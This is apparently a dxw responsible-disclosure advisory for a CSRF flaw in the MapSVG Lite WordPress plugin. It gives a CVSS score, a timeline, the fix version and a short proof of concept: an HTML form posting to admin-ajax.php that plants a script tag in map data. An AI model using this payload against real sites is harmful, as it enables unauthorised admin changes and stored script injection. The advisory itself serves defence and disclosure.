Reporter Rob Skilling
Software: MapSVG Lite
Advisory report: https://advisories.dxw.com/advisories/csrf-mapsvg-lite/
CVE: Awaiting assignment
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N)
CSRF in MapSVG Lite could allow an attacker to do almost anything an admin can
The plugin uses REST requests to modify post data, and does not check the nonce when doing so.
Proof of concept
Install the plugin on a site at http://localhost/
Ensure you have page with ID of 2.
Whilst logged in, visit an html page with this content and submit the form:
<form method=\"POST\" action=\"http://localhost/wp-admin/admin-ajax.php?action=mapsvg_save\">
<input type=\"text\" name=\"data[title]\" value=\"A bad value\">
<input type=\"text\" name=\"data[mapsvg_data]\" value=\"<script>alert(\'hello\')</script>\">
<input type=\"text\" name=\"data[map_id]\" value=\"2\">
Visit the page with ID of 2. It now has title of aA bad valuea and alerts ahelloa on loading.
Upgrade to version 3.3.0 or above.
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://advisories.dxw.com/disclosure/
Please contact us on email@example.com to acknowledge this report if you received it via a third party (for example, firstname.lastname@example.org) as they generally cannot communicate with us on your behalf.
This vulnerability will be published if we do not receive a response to this report with 14 days.
2018-06-15: Author notified via email
2018-06-15: Author replied, fix to be published in next release
2019-01-08: Advisory published
Discovered by dxw:
Please visit advisories.dxw.com for more information.